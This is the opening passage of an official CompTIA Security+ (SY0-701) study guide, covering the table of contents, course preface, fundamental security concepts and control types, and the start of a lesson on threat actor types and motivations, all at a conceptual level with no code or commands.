The Official

CompTIA
Security+
Student Guide
(Exam SY0-701)

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 Course Edition: 2.0

Acknowledgments

James Pengelly, Author

Gareth Marchant, Author

Michael Olsen, Director, Content Development

Danielle Andries, Senior Manager, Content Development

Notices
Disclaimer
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 Table of Contents | iii

Table of Contents

Lesson 1: Summarize Fundamental Security Concepts............................................... 1

Topic 1A: Security Concepts................................................................................... 2

Topic 1B: Security Controls.................................................................................... 8

Lesson 2: Compare Threat Types.................................................................................. 15

Topic 2A: Threat Actors........................................................................................ 16

Topic 2B: Attack Surfaces.................................................................................... 23

Topic 2C: Social Engineering................................................................................ 30

Lesson 3: Explain Cryptographic Solutions.................................................................. 37

Topic 3A: Cryptographic Algorithms................................................................... 38

Topic 3B: Public Key Infrastructure.................................................................... 47

Topic 3C: Cryptographic Solutions...................................................................... 60

Lesson 4: Implement Identity and Access Management........................................... 69

Topic 4A: Authentication..................................................................................... 70

Topic 4B: Authorization........................................................................................ 81

Topic 4C: Identity Management.......................................................................... 89

Lesson 5: Secure Enterprise Network Architecture.................................................... 99

Topic 5A: Enterprise Network Architecture.................................................... 100

Topic 5B: Network Security Appliances........................................................... 115

Topic 5C: Secure Communications.................................................................... 129

Lesson 6: Secure Cloud Network Architecture.......................................................... 141

Topic 6A: Cloud Infrastructure.......................................................................... 142

Topic 6B: Embedded Systems and Zero Trust Architecture........................... 158

Table of Contents

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 iv | Table of Contents

Lesson 7: Explain Resiliency and Site Security Concepts......................................... 171

Topic 7A: Asset Management............................................................................ 172

Topic 7B: Redundancy Strategies...................................................................... 182

Topic 7C: Physical Security................................................................................ 198

Lesson 8: Explain Vulnerability Management........................................................... 209

Topic 8A: Device and OS Vulnerabilities........................................................... 210

Topic 8B: Application and Cloud Vulnerabilities............................................. 220

Topic 8C: Vulnerability Identification Methods.............................................. 231

Topic 8D: Vulnerability Analysis and Remediation......................................... 242

Lesson 9: Evaluate Network Security Capabilities.................................................... 251

Topic 9A: Network Security Baselines.............................................................. 252

Topic 9B: Network Security Capability Enhancement.................................... 263

Lesson 10: Assess Endpoint Security Capabilities..................................................... 273

Topic 10A: Implement Endpoint Security......................................................... 274

Topic 10B: Mobile Device Hardening................................................................ 292

Lesson 11: Enhance Application Security Capabilities............................................. 303

Topic 11A: Application Protocol Security Baselines........................................ 304

Topic 11B: Cloud and Web Application Security Concepts............................. 318

Lesson 12: Explain Incident Response and Monitoring Concepts........................... 327

Topic 12A: Incident Response............................................................................ 328

Topic 12B: Digital Forensics............................................................................... 340

Topic 12C: Data Sources..................................................................................... 347

Topic 12D: Alerting and Monitoring Tools........................................................ 358

Table of Contents

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Lesson 13: Analyze Indicators of Malicious Activity................................................. 371

Topic 13A: Malware Attack Indicators............................................................. 372

Topic 13B: Physical and Network Attack Indicators....................................... 385

Topic 13C: Application Attack Indicators......................................................... 399

Lesson 14: Summarize Security Governance Concepts............................................ 409

Topic 14A: Policies, Standards, and Procedures.............................................. 410

Topic 14B: Change Management....................................................................... 425

Topic 14C: Automation and Orchestration...................................................... 433

Lesson 15: Explain Risk Management Processes...................................................... 439

Topic 15A: Risk Management Processes and Concepts.................................. 440

Topic 15B: Vendor Management Concepts...................................................... 453

Topic 15C: Audits and Assessments.................................................................. 460

Lesson 16: Summarize Data Protection and Compliance Concepts....................... 469

Topic 16A: Data Classification and Compliance.............................................. 470

Topic 16B: Personnel Policies............................................................................ 488

Appendix A: Mapping Course Content to CompTIA Security+..................................A-1

Solutions......................................................................................................................... S-1

Glossary...........................................................................................................................G-1

Index................................................................................................................................. I-1

Table of Contents

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 1
About This Course
CompTIA is a not-for-profit trade association with the purpose of advancing the
interests of IT professionals and IT channel organizations; its industry-leading
IT certifications are an important part of that mission. CompTIA's Security+
certification is a global certification that validates the foundational cybersecurity
skills necessary to perform core security functions and pursue an IT security career.
This exam will certify the successful candidate has the knowledge and skills
required to assess the security posture of an enterprise environment and
recommend and implement appropriate security solutions; monitor and
secure hybrid environments, including cloud, mobile, and IoT; operate with
an awareness of applicable regulations and policies, including principles of
governance, risk, and compliance; identify, analyze, and respond to security
events and incidents.
Security+ is compliant with ISO 17024 standards. Regulators and government
rely on ANSI accreditation because it provides confidence and trust in the
outputs of an accredited program.
CompTIA Security+ Exam Objectives

Course Description
Course Objectives
This course can benefit you in two ways. If you intend to pass the CompTIA
Security+ (Exam SY0-701) certification examination, this course can be a significant
part of your preparation. But certification is not the only key to professional
success in the field of IT security. Today's job market demands individuals with
demonstrable skills, and the information and activities in this course can help you
build your cybersecurity skill set so that you can confidently perform your duties in
any entry-level security role.
On course completion, you will be able to do the following:
• Summarize fundamental security concepts.

• Compare threat types.

• Explain appropriate cryptographic solutions.

• Implement identity and access management.

• Secure enterprise network architecture.

• Secure cloud network architecture.

• Explain resiliency and site security concepts.

• Explain vulnerability management.

• Evaluate network security capabilities.

• Assess endpoint security capabilities.

• Enhance application security capabilities.

• Explain incident response and monitoring concepts.

• Analyze indicators of malicious activity.

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 viii | Preface

• Summarize security governance concepts.

• Explain risk management processes.

• Summarize data protection and compliance concepts.

Target Student
The Official CompTIA Security+ (Exam SY0-701) is the primary course you will need to
take if your job responsibilities include safeguarding networks, detecting threats,
and securing data in your organization. You can take this course to prepare for the
CompTIA Security+ (Exam SY0-701) certification examination.

Prerequisites
To ensure your success in this course, you should have a minimum of two years
of experience in IT administration with a focus on security, hands-on experience
with technical information security, and a broad knowledge of security concepts.
CompTIA A+ and CompTIA Network+, or the equivalent knowledge, is strongly
recommended.

The prerequisites for this course might differ significantly from the prerequisites for
the CompTIA certification exams. For the most up-to-date information about the exam
prerequisites, complete the form on this page: www.comptia.org/training/resources/
exam-objectives.

How to Use the Study Notes

The following notes will help you understand how the course structure and
components are designed to support mastery of the competencies and tasks
associated with the target job roles and will help you to prepare to take the
certification exam.

As You Learn
At the top level, this course is divided into lessons, each representing an area of
competency within the target job roles. Each lesson is composed of a number of
topics. A topic contains subjects that are related to a discrete job task, mapped
to objectives and content examples in the CompTIA exam objectives document.
Rather than follow the exam domains and objectives sequence, lessons and topics
are arranged in order of increasing proficiency. Each topic is intended to be studied
within a short period (typically 30 minutes at most). Each topic is concluded by one
or more activities, designed to help you to apply your understanding of the study
notes to practical scenarios and tasks.
In addition to the study content in the lessons, there is a glossary of the terms and
concepts used throughout the course. There is also an index to assist in locating
particular terminology, concepts, technologies, and tasks within the lesson and
topic content.

In many electronic versions of the book, you can click links on key words in the topic
content to move to the associated glossary definition, and on page references in the
index to move to that term in the content. To return to the previous location in the
document after clicking a link, use the appropriate functionality in your eBook
viewing software.

About This Course

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 Preface | ix

Watch throughout the material for the following visual cues.

A Note provides additional information, guidance, or hints about a

topic or task.

A Caution note makes you aware of places where you need to be

particularly careful with your actions, settings, or decisions so that
you can be sure to get the desired results of an activity or task.

As You Review
Any method of instruction is only as effective as the time and effort you, the
student, are willing to invest in it. In addition, some of the information that you
learn in class may not be important to you immediately, but it may become
important later. For this reason, we encourage you to spend some time reviewing
the content of the course after your time in the classroom.
Following the lesson content, you will find a table mapping the lessons and topics
to the exam domains, objectives, and content examples. You can use this as a
checklist as you prepare to take the exam and to review any content that you are
uncertain about.

As a Reference
The organization and layout of this book make it an easy-to-use resource for future
reference. Guidelines can be used during class and as after-class references when
you're back on the job and need to refresh your understanding. Taking advantage
of the glossary, index, and table of contents, you can use this book as a first source
of definitions, background information, and summaries.

How to Use the CompTIA Learning Center

The CompTIA Learning Center is an intuitive online platform that provides access
to the eBook and all accompanying resources to support The Official CompTIA
curriculum. The CompTIA Learning Center can be accessed at learn.comptia.org.
An access key to the CompTIA Learning Center is delivered upon purchase of the
eBook.
Use the CompTIA Learning Center to access the following resources:
• Online Reader—The interactive online reader provides the ability to search,
highlight, take notes, and bookmark passages in the eBook. You can also access
the eBook through the CompTIA Learning Center eReader mobile app.

• Videos—Videos complement the topic presentations in this study guide by

providing short, engaging discussions and demonstrations of key technologies
referenced in the course.

• Assessments—Practice questions help to verify your understanding of the

material for each lesson. Answers and feedback can be reviewed after each
question or at the end of the assessment. A timed Final Assessment provides a
practice-test-like experience to help you to determine how prepared you feel to
attempt the CompTIA certification exam. You can review correct answers and full
feedback after attempting the Final Assessment.

• Strengths and Weaknesses Dashboard—The Strengths and Weaknesses

Dashboard provides you with a snapshot of your performance. Data flows into
the dashboard from your practice questions, Final Assessment scores, and your
indicated confidence levels throughout the course.

About This Course

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 Lesson 1
Summarize Fundamental Security
Concepts
1

LESSON INTRODUCTION
Security is an ongoing process that includes assessing requirements, setting
up organizational security systems, hardening and monitoring those systems,
responding to attacks in progress, and deterring attackers. If you can summarize
the fundamental concepts that underpin security functions, you can contribute
more effectively to a security team. You must also be able to explain the importance
of compliance factors and best practice frameworks in driving the selection of
security controls and how departments, units, and professional roles within
different types of organizations implement the security function.

Lesson Objectives
In this lesson, you will do the following:
• Summarize information security concepts.

• Compare and contrast security control types.

• Describe security roles and responsibilities.

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 2 | The Official CompTIA Security+ Student Guide (Exam SY0-701)

Topic 1A
Security Concepts
2

EXAM OBJECTIVES COVERED

1.2 Summarize fundamental security concepts.

To be successful and credible as a security professional, you should understand

security in business starting from the ground up. You should know the key security
terms and ideas used by security experts in technical documents and trade
publications. Security implementations are constructed from fundamental building
blocks, just like a large building is built from individual bricks. This topic will help
you understand those building blocks so that you can use them as the foundation
for your security career.

Information Security
Information security (infosec) refers to the protection of data resources from
unauthorized access, attack, theft, or damage. Data may be vulnerable because of
the way it is stored, transferred, or processed. The systems used to store, transmit,
and process data must demonstrate the properties of security. Secure information
has three properties, often referred to as the CIA Triad:
• Confidentiality means that information can only be read by people who have
been explicitly authorized to access it.

• Integrity means that the data is stored and transferred as intended and that
any modification is authorized.

• Availability means that information is readily accessible to those authorized to

view or modify it.

The triad can also be referred to as "AIC" to avoid confusion with the Central Intelligence
Agency.

Some security models and researchers identify other properties of secure systems.
The most important of these is non-repudiation. Non-repudiation means that a
person cannot deny doing something, such as creating, modifying, or sending a
resource. For example, a legal document, such as a will, must usually be witnessed
when it is signed. If there is a dispute about whether the document was correctly
executed, the witness can provide evidence that it was.

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Cybersecurity Framework
Within the goal of ensuring information security, cybersecurity refers specifically
to provisioning secure processing hardware and software. Information security
and cybersecurity tasks can be classified as five functions, following the framework
developed by the National Institute of Standards and Technology (NIST) (nist.
gov/cyberframework/online-learning/five-functions):
• Identify—develop security policies and capabilities. Evaluate risks, threats, and
vulnerabilities and recommend security controls to mitigate them.

• Protect—procure/develop, install, operate, and decommission IT hardware and

software assets with security as an embedded requirement of every stage of this
operation’s lifecycle.

• Detect—perform ongoing, proactive monitoring to ensure that controls are

effective and capable of protecting against new types of threats.

• Respond—identify, analyze, contain, and eradicate threats to systems and data

security.

• Recover—implement cybersecurity resilience to restore systems and data if

other controls are unable to prevent attacks.

Core cybersecurity tasks.

NIST’s framework is just one example. There are many other cybersecurity
frameworks (CSF).

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 4 | The Official CompTIA Security+ Student Guide (Exam SY0-701)

Gap Analysis
Each security function is associated with a number of goals or outcomes. For
example, one outcome of the Identify function is an inventory of the assets owned
and operated by the company. Outcomes are achieved by implementing one or
more security controls.
Numerous categories and types of security controls cover a huge range of
functions. This makes selection of appropriate and effective controls difficult.
A cybersecurity framework guides the selection and configuration of controls.
Frameworks are important because they save an organization from building its
security program in a vacuum, or from building the program on a foundation that
fails to account for important security concepts.
The use of a framework allows an organization to make an objective statement
of its current cybersecurity capabilities, identify a target level of capability, and
prioritize investments to achieve that target. This gives a structure to internal
risk management procedures and provides an externally verifiable statement of
regulatory compliance.
Gap analysis is a process that identifies how an organization’s security systems
deviate from those required or recommended by a framework. This will be
performed when first adopting a framework or when meeting a new industry or
legal compliance requirement. The analysis might be repeated every few years to
meet compliance requirements or to validate any changes that have been made to
the framework.
For each section of the framework, a gap analysis report will provide an overall
score, a detailed list of missing or poorly configured controls associated with that
section, and recommendations for remediation.

Summary of gap analysis findings showing number of recommended controls not implemented
per function and category; plus risks to confidentiality, integrity, and availability from missing
controls; and target remediation date.

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While some or all work involved in gap analysis could be performed by the internal
security team, a gap analysis is likely to involve third-party consultants. Frameworks
and compliance requirements from regulations and legislation can be complex enough
to require a specialist. Advice and feedback from an external party can alert the internal
security team to oversights and to new trends and changes in best practice.

Access Control
An access control system ensures that an information system meets the goals of
the CIA triad. Access control governs how subjects/principals may interact with
objects. Subjects are people, devices, software processes, or any other system
that can request and be granted access to a resource. Objects are the resources.
An object could be a network, server, database, app, or file. Subjects are assigned
rights or permissions on resources.
Modern access control is typically implemented as an identity and access
management (IAM) system. IAM comprises four main processes:
• Identification—creating an account or ID that uniquely represents the user,
device, or process on the network.

• Authentication—proving that a subject is who or what it claims to be when it

attempts to access the resource. An authentication factor determines what sort
of credential the subject can use. For example, people might be authenticated by
providing a password; a computer system could be authenticated using a token
such as a digital certificate.

• Authorization—determining what rights subjects should have on each resource,

and enforcing those rights. An authorization model determines how these rights
are granted. For example, in a discretionary model, the object owner can allocate
rights. In a mandatory model, rights are predetermined by system-enforced
rules and cannot be changed by any user within the system.

• Accounting—tracking authorized usage of a resource or use of rights by a

subject and alerting when unauthorized use is detected or attempted.

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Differences among identification, authentication, authorization, and accounting.

(Images © 123RF.com.)

The servers and protocols that implement these functions can also be referred to as
authentication, authorization, and accounting (AAA). The use of IAM to describe
enterprise security workflows is becoming more prevalent as the importance of the
identification process is better acknowledged.

For example, if you are setting up an e-commerce site and want to enroll users, you
need to select the appropriate controls to perform each function:
• Identification—ensure that customers are legitimate. For example, you might
need to ensure that billing and delivery addresses match and that they are not
trying to use fraudulent payment methods.

• Authentication—ensure that customers have unique accounts and that only

they can manage their orders and billing information.

• Authorization—rules to ensure customers can place orders only when they

have valid payment mechanisms in place. You might operate loyalty schemes or
promotions that authorize certain customers to view unique offers or content.

• Accounting—the system must record the actions a customer takes (to ensure
that they cannot deny placing an order, for instance).

Remember that these processes apply both to people and to systems. For example,
you need to ensure that your e-commerce server can authenticate its identity when
customers connect to it using a web browser.

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Review Activity:
Security Concepts
3

Answer the following questions:

1. What are the properties of a secure information processing system?

2. What term is used to describe the property of a secure network where a

2.

sender cannot deny having sent a message?

3. A company provides a statement of deviations from framework best

practices to a regulator. What process has the company performed?

4. What process within an access control framework logs actions

performed by subjects?

5. What is the difference between authorization and authentication?

6. How does accounting provide non-repudiation?

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Topic 1B
Security Controls
7

EXAM OBJECTIVES COVERED

1.1 Compare and contrast various types of security controls.

Information security and cybersecurity assurance is met by implementing security

controls. By identifying basic security control types, you will be better prepared
to select and implement the most appropriate controls for a given scenario. You
should also be able to describe how specific job roles and organizational structures
can implement a comprehensive security program for organizations.

Security Control Categories

Information and cybersecurity assurance usually takes place within an overall
process of business risk management. Implementation of cybersecurity functions
is often the responsibility of the IT department. There are many different ways
of thinking about how IT services should be governed to fulfill overall business
needs. Some organizations have developed IT service frameworks to provide best
practice guides to implementing IT and cybersecurity. These frameworks can shape
company policies and provide checklists of procedures, activities, and technologies
that represent best practice. Collectively, these procedures, activities, and tools can
be referred to as security controls.
A security control is designed to give a system or data asset the properties of
confidentiality, integrity, availability, and non-repudiation. Controls can be divided
into four broad categories based on the way the control is implemented:
• Managerial—the control gives oversight of the information system. Examples
could include risk identification or a tool allowing the evaluation and selection of
other security controls.

• Operational—the control is implemented primarily by people. For example,

security guards and training programs are operational controls.

• Technical—the control is implemented as a system (hardware, software, or

firmware). For example, firewalls, antivirus software, and OS access control
models are technical controls.

• Physical—controls such as alarms, gateways, locks, lighting, and security

cameras that deter and detect access to premises and hardware are often
placed in a separate category to technical controls.

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Categories of security controls

Although it uses a different scheme, be aware of the way the National Institute of
Standards and Technology (NIST) classifies security controls (csrc.nist.gov/publications/
detail/sp/800-53/rev-5/final).

Security Control Functional Types

As well as a category, a security control can be defined according to the goal or
function it performs:
• Preventive—the control acts to eliminate or reduce the likelihood that an attack
can succeed. A preventive control operates before an attack can take place.
Access control lists (ACL) configured on firewalls and file system objects are
preventive-type technical controls. Antimalware software acts as a preventive
control by blocking malicious processes from executing.

• Detective—the control may not prevent or deter access, but it will identify and
record an attempted or successful intrusion. A detective control operates during
an attack. Logs provide one of the best examples of detective-type controls.

• Corrective—the control eliminates or reduces the impact of a security policy

violation. A corrective control is used after an attack. A good example is a backup
system that restores data that was damaged during an intrusion. Another
example is a patch management system that eliminates the vulnerability
exploited during the attack.

While most controls can be classed functionally as preventive, detective, or

corrective, a few other types can be used to define other cases:
• Directive—the control enforces a rule of behavior, such as a policy, best practice
standard, or standard operating procedure (SOP). For example, an employee’s
contract will set out disciplinary procedures or causes for dismissal if they do not
comply with policies and procedures. Training and awareness programs can also
be considered as directive controls.

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• Deterrent—the control may not physically or logically prevent access, but it

psychologically discourages an attacker from attempting an intrusion. This could
include signs and warnings of legal penalties against trespass or intrusion.

• Compensating—the control is a substitute for a principal control, as

recommended by a security standard, and affords the same (or better) level of
protection but uses a different methodology or technology.

Functional types of security controls. (Images © 123RF.com.)

Information Security Roles and Responsibilities

A security policy is a formalized statement that defines how security will be
implemented within an organization. It describes the means the organization will take
to protect the confidentiality, availability, and integrity of sensitive data and resources.
The implementation of a security policy to support the goals of the CIA triad might
be very different for a school, a multinational accountancy firm, or a machine tool
manufacturer. However, each of these organizations, or any other organization (in
any sector of the economy, whether profit-making or non-profit-making), should
have the same interest in ensuring that its employees, equipment, and data are
secure against attack or damage. An organization that develops security policies
and uses framework-based security controls has a strong security posture.
As part of the process of adopting an effective organizational security posture,
employees must be aware of their responsibilities. The structure of security
responsibilities will depend on the size and hierarchy of an organization, but these
roles are typical.
• Overall responsibility for the IT function lies with a Chief Information Officer
(CIO). This role might also have direct responsibility for security. Some
organizations will also appoint a Chief Technology Officer (CTO), with more
specific responsibility for ensuring effective use of new and emerging IT products
and solutions to achieve business goals.

• In larger organizations, internal responsibility for security might be allocated

to a dedicated department, run by a Chief Security Officer (CSO) or Chief
Information Security Officer (CISO).

• Managers may have responsibility for a domain, such as building control, web
services, or accounting.

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• Technical and specialist staff have responsibility for implementing, maintaining,

and monitoring the policy. Security might be made of a core competency
of systems and network administrators, or there may be dedicated security
administrators. One such job title is Information Systems Security Officer
(ISSO).

• Nontechnical staff have the responsibility of complying with policy and with any
relevant legislation.

• External responsibility for security (due care or liability) lies mainly with directors
or owners, though again it is important to note that all employees share some
measure of responsibility.

NIST's National Initiative for Cybersecurity Education (NICE) categorizes job tasks and
job roles within the cybersecurity industry (gov/itl/applied-cybersecurity/nice/nice-
framework-resource-center).

Information Security Competencies

IT professionals working in a role with security responsibilities must be competent
in a wide range of disciplines, from network and application design to procurement
and human resources (HR). The following activities might be typical of such a role:
• Participate in risk assessments and testing of security systems and make
recommendations.

• Specify, source, install, and configure secure devices and software.

• Set up and maintain document access control and user privilege profiles.

• Monitor audit logs, review user privileges, and document access controls.

• Manage security-related incident response and reporting.

• Create and test business continuity and disaster recovery plans and procedures.

• Participate in security training and education programs.

Information Security Business Units

The following units are ofen used to represent the security function within the
organizational hierarchy.

Security Operations Center (SOC)

A security operations center (SOC) is a location where security professionals
monitor and protect critical information assets across other business functions,
such as finance, operations, sales/marketing, and so on. Because SOCs can be
difficult to establish, maintain, and finance, they are usually employed by larger
corporations, like a government agency or a healthcare company.

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A security operations center (SOC) provides resources and personnel to implement rapid incident
detection and response, plus oversight of cybersecurity operations.
(Image © gorodenkoff 123RF.com.)

DevSecOps
Network operations and use of cloud computing make ever-increasing use of
automation through software code. Traditionally, software code would be the
responsibility of a programming or development team. Separate development and
operations departments or teams can lead to silos, where each team does not work
effectively with the other.
Development and operations (DevOps) is a cultural shift within an organization
to encourage much more collaboration between developers and systems
administrators. By creating a highly orchestrated environment, IT personnel
and developers can build, test, and release software faster and more reliably.
DevSecOps extends the boundary to security specialists and personnel, reflecting
the principle that security is a primary consideration at every stage of software
development and deployment. This is also known as shift left, meaning that
security considerations need to be made during requirements and planning
phases, not grafted on at the end. The principle of DevSecOps recognizes this and
shows that security expertise must be embedded into any development project.
Ancillary to this is the recognition that security operations can be conceived of as
software development projects. Security tools can be automated through code.
Consequently, security operations need to take on developer expertise to improve
detection and monitoring.

Incident Response
A dedicated computer incident response team (CIRT)/computer security incident
response team (CSIRT)/computer emergency response team (CERT) is a single point
of contact for the notification of security incidents. This function might be handled
by the SOC or it might be established as an independent business unit.

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Review Activity:
Security Controls
8

Answer the following questions:

1. You have implemented a secure web gateway that blocks access to a

social networking site. How would you categorize this type of security
control?

2. A company has installed motion-activated floodlighting on the grounds

2.

around its premises. What class and function is this security control?

3. A firewall appliance intercepts a packet that violates policy. It

3.

automatically updates its access control list to block all further

packets from the source IP. What TWO functions did the security
control perform?

4. If a security control is described as operational and compensating, what

4.

can you determine about its nature and function?

5. A multinational company manages a large amount of valuable

5.

intellectual property (IP) data, plus personal data for its customers and
account holders. What type of business unit can be used to manage such
important and complex security requirements?

6. A business is expanding rapidly, and the owner is worried about tensions

6.

between its established IT and programming divisions. What type of

security business unit or function could help to resolve these issues?

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Lesson 1
Summary
7

You should be able to compare and contrast security controls using categories and
functional types. You should also be able to explain how general security concepts
and frameworks are used to develop and validate security policies and control
selection.

Guidelines for Summarizing Security Concepts and

Security Controls
Follow these guidelines when you assess the use of security controls and
frameworks in your organization:
• Create a security mission statement and supporting policies that emphasize the
importance of the CIA triad: confidentiality, integrity, availability.

• Assign roles so that security tasks and responsibilities are clearly understood
and that impacts to security are assessed and mitigated across the organization.

• Consider creating business units, departments, or projects to support the

security function, such as a SOC, CIRT, and DevSecOps.

• Identify and assess the laws and industry regulations that impose compliance
requirements on your business.

• Select a framework that meets your organization’s compliance requirements and

business needs.

• Create a matrix of security controls that are currently in place to identify

categories and functions—consider deploying additional controls for any
unmatched capabilities.

• Perform a gap analysis to evaluate security capabilities against framework

requirements and identify goals for developing additional cybersecurity
competencies and improving overall information security assurance.

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 Lesson 2
Compare Threat Types
1

LESSON INTRODUCTION
To make an effective security assessment, you must be able to explain strategies
for both defense and attack. Your responsibilities are likely to lie principally in
defending assets, but to do this you must be able to explain the tactics, techniques,
and procedures of threat actors. You must also be able to differentiate the types
and capabilities of threat actors and the ways they can exploit the attack surface
that your networks and systems expose.

Lesson Objectives
In this lesson, you will do the following:
• Compare and contrast attributes and motivations of threat actor types.

• Explain common threat vectors and attack surfaces.

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Topic 2A
Threat Actors
2

EXAM OBJECTIVES COVERED

2.1 Compare and contrast common threat actors and motivations.

When you assess your organization’s security posture, you must apply the concepts of
vulnerability, threat, and risk. Risk is a measure of the likelihood and impact of a threat
actor being able to exploit a vulnerability in your organization’s security systems.
To evaluate these factors, you must be able to evaluate the sources of threats or
threat actors. This topic will help you to classify and evaluate the motivation and
capabilities of threat actor types so that you can assess and mitigate risks more
effectively.

Vulnerability, Threat, and Risk

Security teams must identify ways in which their systems could be attacked. These
assessments involve vulnerability, threat, and risk:
• Vulnerability is a weakness that could be triggered accidentally or exploited
intentionally to cause a security breach. Examples of vulnerabilities include
improperly configured or installed hardware or software, delays in applying and
testing software and firmware patches, poorly designed network architecture,
inadequate physical security, insecure password usage, and design flaws in
software or operating systems. Factors such as the value of the vulnerable asset
and the ease of exploiting the fault determine the severity of vulnerabilities.

• Threat is the potential for someone or something to exploit a vulnerability

and breach security. A threat can have an intentional motivation or be
unintentional. The person or thing that poses the threat is called a threat actor
or threat agent. The path or tool used by a malicious threat actor is a threat
vector.

• Risk is the level of hazard posed by vulnerabilities and threats. When a

vulnerability is identified, risk is calculated as the likelihood of it being exploited
by a threat actor and the impact that a successful exploit would have.

Relationship between vulnerability, threat, and risk.

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Attributes of Threat Actors

Historically, cybersecurity techniques relied on the identification of static known
threats, such as viruses or rootkits, Trojans, botnets, and exploits for specific
software vulnerabilities. It is relatively straightforward to identify and scan for these
types of threats with automated software. Unfortunately, adversaries were able to
develop means of circumventing this type of signature-based scanning.
The sophisticated nature of modern cybersecurity threats requires the creation of
profiles of threat actor types and behaviors. This analysis involves identifying the
attributes of threat actors’ location, capability, resources/funding, and motivation.

Internal/External
Internal/external refers to the degree of access that a threat actor posseses
before initiating an attack. An external threat actor has no account or authorized
access to the target system. A malicious external threat must infiltrate the security
system using unauthorized access, such as breaking into a building or hacking
into a network. Note that an external actor may perpetrate an attack remotely or
on-premises. It is the threat actor that is external rather than the attack method.
Conversely, an internal/insider threat actor has been granted permissions on the
system. This typically means an employee, but insider threats can also arise from
contractors and business partners.

Level of Sophistication/Capability
Level of sophistication/capability refers to a threat actor’s ability to use advanced
exploit techniques and tools. The least capable threat actor relies on commodity
attack tools that are widely available. More capable actors can fashion new exploits
in operating systems, applications software, and embedded control systems. At the
highest level, a threat actor might use non-cyber tools such as political or military
assets.

Resources/Funding
A high level of capability must be supported by resources/funding. Sophisticated
threat actor groups need to be able to acquire resources, such as customized attack
tools and skilled strategists, designers, coders, hackers, and social engineers. The
most capable threat actor groups receive funding from nation-states and organized
crime.

Motivations of Threat Actors

Motivation is the threat actor’s reason for perpetrating the attack. A malicious
threat actor could be motivated by greed, curiosity, or some grievance, for instance.
Threats can be characterized as structured/targeted or unstructured/opportunistic,
depending on how widely an attack is perpetrated.
For example, a criminal gang attempting to steal customers’ financial data from a
company’s database system is a structured, targeted threat. An unskilled hacker
launching some variant of the “I Love You” email worm sent to a stolen mailing list is
an unstructured, opportunistic threat.
A threat actor with malicious motivation can be contrasted with an accidental or
unintentional threat actor. An unintentional threat actor represents accidents,
oversights, and other mistakes.

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To help to analyze motivations, it is first useful to consider the general strategies

that a threat actor could use to achieve an objective:
• Service disruption—prevents an organization from working as it does normally.
This could involve an attack on their website or using malware to block access to
servers and employee workstations. Service disruption can be an end in itself if
the threat actor’s motivation is to sow chaos or gain revenge. Service disruption
can be used as a blackmail threat, or it can be used as a tactic in the pursuit of
some different strategic objective.

• Data exfiltration—transfers a copy of some type of valuable information from

a computer or network without authorization. A threat actor might perform this
type of theft because they want the data asset for themselves, because they can
exploit its loss as blackmail or to sell it to a third party.

• Disinformation—falsifies some type of trusted resource, such as changing the

content of a website, manipulating search engines to inject fake sites, or using
bots to post false information to social media sites.

You can relate these strategies to the way they affect the CIA triad: data exfiltration
compromises confidentiality, disinformation attacks integrity, and service disruption
targets availability.

Chaotic Motivations
In the early days of the Internet, many service disruption and disinformation attacks
were perpetrated with the simple goal of causing chaos. Hackers might deface
websites or release worms that brought corporate networks to a standstill for no
other reason than to gain credit for the hack.
This type of vandalism for its own sake is less prevalent now. Attackers might use
service disruption and disinformation to further political ends, or nation-states
might use it to further war aims. Another risk is threat actors motivated by revenge.
Revenge attacks might be perpetrated by an employee or former employee or by
any external party with a grievance.

Financial Motivations
As hacking and malware became both more sophisticated and better commodified,
the opportunities to use them for financial gain grew quickly. If an attacker is able to
steal data, they might be able to sell it to other parties. Alternatively, they might use
an attack to threaten the victim with blackmail or extortion or to perpetrate fraud:
• Blackmail is demanding payment to prevent the release of information. A threat
actor might have stolen information or created false data that makes it appear
as though the target has committed a crime.

• Extortion is demanding payment to prevent or halt some type of attack.

For example, a threat actor might have used malware to block access to an
organization’s computers and demand payment to unlock them.

• Fraud is falsifying records. Internal fraud might involve tampering with accounts
to embezzle funds or inventing customer details to launder money. Criminals
might use disinformation to commit fraud, such as posting fake news to affect
the share price of a company, promote pyramid schemes, or to create fake
companies.

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Political Motivations
A political motivation means that the threat actor uses an attack to bring about
some type of change in society or governance. This can cover a very wide range of
motivations:
• An employee acting as a whistleblower because of some ethical concern about
the organization’s behavior.

• A campaign group disrupting the services of an organization that they believe

acts in contradiction to their ethical or philosophical beliefs.

• A nation-state using service disruption, data exfiltration, or disinformation

against government organizations or companies in another state in pursuit of
war aims.

Nation-states commonly perpetrate espionage and disinformation attacks against

one another, whether or not they are at war. In cybersecurity, espionage is a type
of data exfiltration aimed to learn secrets rather than sell them or use the theft for
blackmail.

There is also the threat of commercial espionage, where a company attempts to steal
the secrets of a competitor.

Hackers and Hacktivists

Given awareness of the general strategies and motivations, it can also be helpful to
evaluate the risk that well-known threat actor types or profiles pose to a business.

Hackers
Hacker describes an individual who has the skills to gain access to computer
systems through unauthorized or unapproved means. Originally, hacker was a
neutral term for a user who excelled at computer programming and computer
system administration. Hacking into a system was a sign of technical skill and
creativity that gradually became associated with illegal or malicious system
intrusions. The terms unauthorized (previously known as black hat) and
authorized (previously known as white hat) are used to distinguish these
motivations. A white hat hacker always seeks authorization to perform penetration
testing of private and proprietary systems.

Unskilled Attackers
An unskilled attacker is someone who uses hacker tools without necessarily
understanding how they work or having the ability to craft new attacks. Unskilled
attacks might have no specific target or any reasonable goal other than gaining
attention or proving technical abilities.

Hacker Teams and Hacktivists

The historical image of a hacker is that of a loner, acting as an individual with
few resources or funding. While the “lone hacker” remains a threat that must be
accounted for, threat actors are now likely to work as part of a team or group.
The collaborative team effort means that these threat actors are able to develop
sophisticated tools and novel strategies.

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A hacktivist group, such as Anonymous, WikiLeaks, or LulzSec, uses cyber weapons

to promote a political agenda. Hacktivists might attempt to use data exfiltration to
obtain and release confidential information to the public domain, perform service
disruption attacks, or deface websites to spread disinformation. Political, media,
and financial groups and companies are most at risk of becoming a target for
hacktivists, but environmental and animal advocacy groups may target companies
in a wide range of industries.

Nation-State Actors
Most nation-states have developed cybersecurity expertise and will use cyber
weapons to achieve military and commercial goals. The security company
Mandiant’s APT1 report into Chinese cyber espionage units shaped the language
and understanding of cyber-attack lifecycles.
The term advanced persistent threat (APT) was coined to understand the
behavior underpinning modern types of cyber adversaries. Rather than think in
terms of systems being infected with a virus or Trojan, an APT refers to the ability
of an adversary to achieve ongoing compromise of network security—to obtain and
maintain access—using a variety of tools and techniques.
Nation-state actors have been implicated in many attacks, particularly on energy,
health, and electoral systems. The goals of state actors are primarily disinformation
and espionage for strategic advantage, but it is a known for countries—North Korea
being a good example—to target companies for financial gain.

Researchers such as The MITRE Corporation report on the activities of organized crime and
